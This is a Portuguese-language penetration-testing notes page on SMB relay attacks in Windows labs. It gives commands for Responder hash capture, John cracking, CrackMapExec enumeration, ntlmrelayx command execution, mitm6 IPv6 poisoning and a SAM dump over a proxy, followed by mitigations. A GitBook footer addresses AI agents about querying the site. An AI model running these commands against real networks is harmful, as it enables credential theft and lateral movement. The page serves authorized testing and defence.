> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/smb-relay-in-windows-environments.md).

# Relay SMB em Ambientes Windows

O relay SMB captura a autenticação NTLM e a retransmite para outro host quando a assinatura SMB não é exigida. Este fluxo de trabalho é destinado a laboratórios Windows autorizados e avaliações internas.

## Condições a Verificar

* A assinatura SMB não é exigida em pelo menos um alvo.
* A conta capturada tem acesso útil em um alvo de relay.
* Os servidores SMB e HTTP do Responder estão desativados quando `ntlmrelayx` processa o relay.
* Os alvos de relay estão listados em `targets.txt`.

## Capturar NTLMv2 com Responder

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

<figure><img src="/files/f2fe7fc15e05c5a4bfdc859342915b3b15e51b38" alt="Responder listening for Windows name resolution traffic"><figcaption></figcaption></figure>

Redes Windows frequentemente geram autenticação automática por meio de inventário de software, tarefas de administração, acesso a compartilhamentos e resolução de nomes.

<figure><img src="/files/22bfeb71fa52c1a3bac3e856af0d7b33fec0f427" alt="Responder capturing NTLMv2 authentication"><figcaption></figcaption></figure>

<figure><img src="/files/a8411d365ca02ff6c02139c0cff315621b4c4235" alt="Captured NTLMv2 hash output"><figcaption></figcaption></figure>

## Cracking offline

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```

<figure><img src="/files/1642988b4341b871ed8c977151c1cdb18f18dff2" alt="John cracking captured NTLMv2 hash"><figcaption></figcaption></figure>

<figure><img src="/files/17e9bae577cab297889db4a54aad24d80efa293c" alt="Recovered password from NTLMv2 hash"><figcaption></figcaption></figure>

## Enumeração SMB

```bash
crackmapexec smb 192.168.71.0/24
```

<figure><img src="/files/929cffcb5475510e1ec58abb0e296f39a2a6c0d6" alt="CrackMapExec SMB scan"><figcaption></figcaption></figure>

<figure><img src="/files/d75c94835d33bc1a10d867b5eaa4fef2efac94b3" alt="SMB signing and host enumeration output"><figcaption></figcaption></figure>

Validar os privilégios da conta:

```bash
crackmapexec smb 192.168.71.0/24 -u '<user>' -p '<password>'
```

<figure><img src="/files/fce61dc3a9bca044a42d29c6d23c32ea228676e3" alt="Validating SMB access with recovered credentials"><figcaption></figcaption></figure>

## Relay com ntlmrelayx

Desative SMB e HTTP em `Responder.conf`, depois execute o Responder:

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

Inicie o relay:

```bash
ntlmrelayx.py -tf targets.txt -smb2support
```

<figure><img src="/files/fc0b72ec7922fb91cc6816ef1b7a3e94577ad76f" alt="ntlmrelayx started with target file"><figcaption></figcaption></figure>

<figure><img src="/files/d1aadb5fc69a7e978590e0afc28029cb13476778" alt="Successful SMB relay output"><figcaption></figcaption></figure>

## Validação de Execução de Comandos via Relay

Quando a execução de comandos estiver no escopo, valide o relay primeiro com um comando de baixo impacto:

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
```

Para uma prova mais clara, grave o contexto de execução em um arquivo temporário no alvo do relay:

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "cmd /c whoami > C:\Windows\Temp\relay-check.txt"
```

<figure><img src="/files/f6da32cde1429c192fe7ca19ed3a6e58f6952927" alt="ntlmrelayx executing a PowerShell command"><figcaption></figcaption></figure>

<figure><img src="/files/7b911032dec27b97b6cb4974ca79d621daf71cdb" alt="SMB relay command execution validation"><figcaption></figcaption></figure>

## Variante IPv6 com mitm6

```bash
mitm6 -d j0rdan.local
```

<figure><img src="/files/0b25d17cb3f97c956301270f514127c95332734d" alt="mitm6 started against the lab domain"><figcaption></figcaption></figure>

<figure><img src="/files/b0d7316e5f46c48516bcc0b6e3fe1f2b563c5d7d" alt="mitm6 DHCPv6 poisoning output"><figcaption></figcaption></figure>

Relay IPv6:

```bash
ntlmrelayx.py -6 -wh 192.168.71.128 -t smb://192.168.71.151 -socks -debug -smb2support
```

<figure><img src="/files/3f1b956eff96476ff6e74a02014f28ca870184c7" alt="ntlmrelayx IPv6 relay with SOCKS enabled"><figcaption></figcaption></figure>

Use o relay por meio do proxy:

```bash
proxychains cme smb 192.168.71.151 -u '<user>' -p '<password>' -d '<domain>' --sam
```

## Pontos-chave

* O relay SMB depende principalmente de a assinatura SMB não ser exigida.
* Responder e `ntlmrelayx` devem ser configurados para não competir por tráfego SMB ou HTTP.
* Corrija exigindo assinatura SMB, reduzindo o uso de NTLM, monitorando o abuso de LLMNR/NBNS/WPAD e limitando os privilégios de administrador local.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/smb-relay-in-windows-environments.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
